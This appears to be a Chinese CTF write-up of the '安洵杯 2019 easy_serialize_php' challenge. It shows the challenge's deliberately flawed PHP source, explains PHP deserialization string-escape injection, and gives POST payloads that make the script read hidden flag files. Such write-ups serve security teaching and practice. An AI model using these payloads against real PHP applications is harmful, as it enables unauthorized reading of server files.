• [安洵杯 2019]easy_serialize_php


    知识点:php反序列化字符串逃逸

    题目打开是源代码:

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    根据源代码得知,当f=phpinfo的时候可以找到一些东西
    打开后看到

    可以知道我们要尝试读取里面的内容
    回过头看源代码最后一行有一个file_get_contents 是能够读取文件的函数
    看到了序列化函数 这里有一个很明显的漏洞点 数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的'php','flag','php5','php4','fl1g'都会被空格替代,而这层过滤函数会干扰序列化后的数据。

    php反序列化字符逃逸

    特点一

    在PHP中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,比如:

    <?php
    $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
    var_dump(unserialize($str));
    

    结果如下所示:

    array(2) { 
        [0]=> string(8) "Hed9eh0g" 
        [1]=> string(5) "aaaaa" 
    }
    

    一般来说,只要去掉str里面的任何一个字符,都会导致反序列化的失败,但是其实不然,在str结尾的花括号后再增加一些字符,比如

    <?php
    $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abcdwefwef';
    var_dump(unserialize($str));
    

    输出结果与之前没有变化,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符会被忽略,不影响反序列化的正常进行

    特点二

    举例:

    <?php
    $_SESSION["user"]='flagflagflagflagflagflag';
    $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
    $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
    echo serialize($_SESSION);
    

    结果如下:

    a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    如果后台存在一个过滤机制,会将含有flag字符替换为空,那么以上序列化字符串过滤结果为:

    a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
    

    我们将这一串字符串进行序列化
    这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

    array(3) { 
    ["user"]=> string(24) "";s:8:"function";s:59:"a" 
    ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
    ["dd"]=> string(1) "a" 
    }
    

    写成数组形式也即:

    $_SESSION["user"]='";s:8:"function";s:59:"a';
    $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
    $_SESSION["dd"]='a';
    

    可以看到,SESSION数组的键值img对应的值发生了改变
    设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

    回到题目

    第一步payload:

    get:f=show_image 
    post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    

    第二步payload:

    get:f=show_image 
    post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}
    

    参考链接:
    https://www.jianshu.com/p/8e8117f9fd0e

  • 相关阅读:
    BZOJ4802 欧拉函数 数论
    BZOJ3561 DZY Loves Math VI 数论 快速幂 莫比乌斯反演
    BZOJ3560 DZY Loves Math V 数论 快速幂
    BZOJ2142 礼物 扩展lucas 快速幂 数论
    BZOJ1951 [Sdoi2010]古代猪文 中国剩余定理 快速幂 数论
    BZOJ1500 [NOI2005]维修数列 splay
    HDU1814 Peaceful Commission 2-sat
    BZOJ2209 [Jsoi2011]括号序列 splay
    BZOJ1503 [NOI2004]郁闷的出纳员 splay
    BZOJ1208 [HNOI2004]宠物收养所 splay
  • 原文地址:https://www.cnblogs.com/buchuo/p/12996511.html
Copyright © 2020-2023  润新知